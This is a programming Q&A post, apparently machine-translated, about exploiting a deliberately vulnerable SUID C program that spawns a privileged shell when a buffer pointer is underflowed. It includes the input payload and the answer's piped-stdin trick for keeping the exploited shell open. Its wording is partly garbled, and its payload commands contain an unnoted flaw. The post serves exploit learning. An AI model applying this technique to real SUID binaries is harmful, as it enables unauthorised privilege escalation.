Gdb exiting instead of shell spawning
I am trying to use a SUID program.
Program:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
We can easily see that if we somehow change the content of ptr to some address that starts with CA, then a new shell will be created for us. And since ptr usually has some address starting with FF, the way to decrease it (ptr) is to enter the \ character. So I make a file with 0x35000000 '\' characters and finally 3 'a' at the end of the file
perl -e "print '\\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa > file # So that e() is called which actually spawns the shell
Finally, in gdb,
run < file
However, instead of multiplying the shell, gdb says
process <some number> is executing new program /bin/dash
inferior 1 exited normally
Then go back to the gdb prompt instead of getting the shell. I have verified by setting breakpoints at the appropriate places where the ptr does indeed start with CA before calling setresuid ().
Also if I use this outside of gdb nothing happens.
./vulnProg < file
Bash prompt takes you back.
Please tell me where I am making the mistake.
source to share
You can see this problem by writing a simpler test program
int main() { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }
All this means that you are running the sed version (not the shell) and transform the input by adding "XXX:".
If you run the resulting program and type Terminal, you get this:
$./a.out
Hello
XXX:Hello
Test
XXX:Test
^D
This is exactly as we expected.
Now if you load it from a file containing "Hello \ nWorld" you will get
$./a.out < file
XXX:Hello
XXX:World
$
And the application crashes immediately when the input stream is closed when all input files have been read.
If you want to provide additional input, you need to use a trick so as not to disrupt the input stream.
{ cat file ; cat - ; } | ./a.out
This will put all the input from the file into the current ./a.out
one and then read from stdin and add that too.
$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test
source to share